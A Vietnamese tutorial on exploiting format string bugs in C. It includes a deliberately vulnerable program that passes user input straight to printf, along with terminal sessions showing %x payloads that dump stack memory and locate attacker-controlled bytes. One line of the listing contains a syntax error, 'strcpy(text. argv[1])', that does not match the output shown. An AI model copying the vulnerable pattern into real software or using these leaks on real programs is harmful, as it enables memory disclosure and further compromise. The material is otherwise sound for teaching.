Mở đầu
Khai thác lỗi format string là một kĩ thuật cho phép chúng ta chiếm quyền kiểm soát của mộ chương trình đặc quyền. Giống như buffer overflow, format string cũng phụ thuộc vào lỗi khi lập trình, những lỗi này khi nhìn sơ qua thì không thấy có ảnh hưởng gì đến chương trình.
Nội dung chính
- 1 function sử dụng định dạng chuỗi, như là
prrintf()
, chỉ cần xem xét định dạng được truyền vào nó và thực hiện những hoạt động đặc biệt mỗi khi gặp phải tham số truyền vào. Mỗi tham số định dạng chuỗi thì tương ứng với một tham số truyền vào, ví dụ chuỗi chúng ta sử dụng 4 tham số định dạng thì cần phải truyền 4 biến tương ưng.
- Những dạng định dạng tham số thường gặp:
Parameter |
Input Type |
Output Type |
%d |
Value |
Decimal |
%u |
Value |
Unsigned decimal |
%x |
Value |
Hexadecimal |
%s |
Pointer |
String |
%n |
Pointer |
Number of bytes written so far |
- Chúng ta sẽ thử với chương trình sau:
fmt_uncommon.c
1
2
3
4
5
6
7
8
9
10
11
12
|
#include <stdio.h>
#include <stdlib.h>
int main() {
int A = 5, B = 7, count_one, count_two;
// Example of a %n format string
printf("The number of bytes written up to this point X%n is being stored in count_one, and the number of bytes up to here X%n is being stored in count_two.\n", &count_one, &count_two);
printf("count_one: %d\n", count_one);
printf("count_two: %d\n", count_two);
// Stack example
printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
exit(0);
}
|
- Chương trình sử dụng định dạng %n trong hàm
printf()
. Chúng ta chạy và xem output như thế nào.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
➜ fmt git:(main) ✗ gcc fmt_uncommon.c
fmt_uncommon.c: In function ‘main’:
fmt_uncommon.c:14:34: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 3 has type ‘int *’ [-Wformat=]
14 | printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
| ~~~^ ~~
| | |
| unsigned int int *
| %08ls
➜ fmt git:(main) ✗ ./a.out
The number of bytes written up to this point X is being stored in count_one, and the number of bytes up to here X is being stored in count_two.
count_one: 46
count_two: 113
A is 5 and is at c6658b68. B is 7.
➜ fmt git:(main) ✗
|
%n
là định dạng duy nhất dùng để ghi dữ liệu thay vì hiển thị dữ liệu. Khi hàm định dạng gặp tham số %n
, nó sẽ viết tổng số byte mà nó đã được viết bởi hàm vào địa chỉ tương ứng của biến. Ví dụ với hàm fmt_common
trên, A có giá trị là 46 bởi vì tổng số byte mà hàm printf
đã in ra cho tới khi gặp %n
là 46 kí tự:
1
2
3
|
>>> la = "The number of bytes written up to this point X"
>>> len(la)
46
|
1
|
printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
|
- Khi hàm
printf()
được gọi, các tham số được dưa vào stack theo thứ tự ngược lại:
Top of the Stack |
Address of format string |
Value of A |
Address of A |
Value of B |
Bottom of the Stack |
- Hàm
printf
sẽ đi qua từng kí tự một, nếu kí tự không bắt đầu bằng một format-parameter
, kí tự này sẽ được copy ra output. Nếu một format-parameter được gặp, nó sẽ lấy giá trị của đối số trong stack tương ứng với parameter.
- Trong trường hợp số argeument trong stack ít hơn số
format-parameter
trong string thì điều gì sẽ xảy ra? Ví dụ:
1
|
printf("A is %d and is at %08x. B is %x.\n", A, &A);
|
- Ta sẽ tiến hành thay đổi 1 tí ở chương trình fmt_uncommon2.c
1
2
3
4
5
6
7
|
➜ fmt git:(main) ✗ sed -e 's/, B)/)/' fmt_uncommon.c > fmt_uncommon2.c
➜ fmt git:(main) ✗ diff fmt_uncommon.c fmt_uncommon2.c
14c14
< printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
---
> printf("A is %d and is at %08x. B is %x.\n", A, &A);
➜ fmt git:(main) ✗
|
- Compile và chạy, xem kết quả:
1
2
3
4
5
6
|
➜ fmt git:(main) ✗ gcc -o fmt_uncommon2 fmt_uncommon2.c -w
➜ fmt git:(main) ✗ ./fmt_uncommon2
The number of bytes written up to this point X is being stored in count_one, and the number of bytes up to here X is being stored in count_two.
count_one: 46
count_two: 113
A is 5 and is at 74f2e9b8. B is 0.
|
- Chúng ta dùng
-w
để tắt đi những warning từ compiler.
- Khi chạy, ta thấy B lúc bây giờ có giá trị là
0
. Tại sao B lại có giá trị là 0 trong khi giá trị khởi tạo của B là 7?
- Ta đã biết rằng, khi hàm
printf()
gọi, nó sẽ đẩy các đối số vào trong stack và khi gặp format-parameter
, nó sẽ vào stack và lấy giá trị này ra. Tuy nhiên, trong trường hợp này, số format-parameter
lại nhiều hơn argument
, nên đến tham số thứ 3, hàm printf
cũng vào stack để lấy giá trị tại vị trí thứ 3 trên stack. 0
là giá trị đầu tiên mà hàm printf
tìm thấy trên stack.
- Đôi khi programmer sử dụng
printf(string)
thay vì printf("%s", string)
. Lúc này, hàm printf
sẽ nhận trực tiếp địa chỉ của string và in từng kí tự trong string đó. Đoạn code sau thể hiện hoạt động của 2 cách sử dụng này.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if (argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text. argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\n The wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
|
- Tiến hành biên dịch và xem kết quả:
1
2
3
4
5
6
7
|
➜ fmt git:(main) ✗ gcc -o fmt_vuln fmt_vuln.c -w
➜ fmt git:(main) ✗ ./fmt_vuln hello_world
The right way to print user-controlled input:
hello_world
The wrong way to print user-controlled input:
hello_world
[*] test_val @ 0x8a756010 = -72 0xffffffb8
|
- Với input là
hello_world
, cả 2 cách đều hoạt động tốt. Tuy nhiên, nếu input nhập vào chứa format parameter
liệu cả 2 có như nhau hay không?
1
2
3
4
5
6
|
➜ fmt git:(main) ✗ ./fmt_vuln hello_world%x
The right way to print user-controlled input:
hello_world%x
The wrong way to print user-controlled input:
hello_world128012a0
[*] test_val @ 0x10ff0010 = -72 0xffffffb8
|
- Từ output trên ta thấy, với cách dùng thứ 2, giá trị trên stack đã được in ra. Với mỗi tham số
%x
được sủ dụng, 4 bytes trên stack sẽ được in ra. Do đó, nếu lặp lại quá trình này, chúng ta có thể lấy toàn bộ dữ liệu trên stack.
1
2
3
4
5
6
|
➜ fmt git:(main) ✗ ./fmt_vuln $(perl -e 'print "%08x."x40')
The right way to print user-controlled input:
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
The wrong way to print user-controlled input:
925a72a0.00000000.946a01e7.00000030.000000c8.c2052148.947819a8.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.947a9700.c2051d60.945abab0.94781000.00000000.c2051de0.00000000.00000000.
[*] test_val @ 0x92502010 = -72 0xffffffb8
|
- Ta thấy dữ liệu trên stack đã được in ra theo từng nhóm 4 bytes, và 4 byte này theo thứ tự ngược do kiến trúc little-endian. Những bytes
0x25, 0x30, 0x38, 0x78, 0x2e
dường như lặp lại nhiều lần. Cùng xem thử những byte này có giá trị là gì?
1
2
|
➜ fmt git:(main) ✗ printf "\x25\x30\x38\x78\x2e\n"
%08x.
|
1
2
3
4
5
6
|
➜ fmt git:(main) ✗ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The right way to print user-controlled input:
AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:
AAAAff9a1a6c.f7d7068c.08049234.f7d7976c.f7f6f110.ff9a1aac.ff9a1f24.00000003.00000000.f7fa3000.41414141
[*] test_val @ 0x0804c02c = -72 0xffffffb8
|
- 4 bytes của
0x41
cho thấy tham số thứ 11 là dữ liệu bắt dầu của chuỗi chúng ta nhập vào. Nếu chúng ta thay format-parameter thứ 4 thành %s
thay vì %x
, hàm printf sẽ in ra chuỗi tại địa chỉ 0x41414141
. Việc này sẽ làm crash chương trình vì 0x41414141
là một địa chỉ không hợp lệ. Nhưng, nếu địa chỉ này hợp lệ, thì ta có thể đọc được chuỗi tại địa chỉ này.
- Ta dùng một chương trình có tên là
getenvaddr
để lấy địa chỉ của biến môi trường PATH
.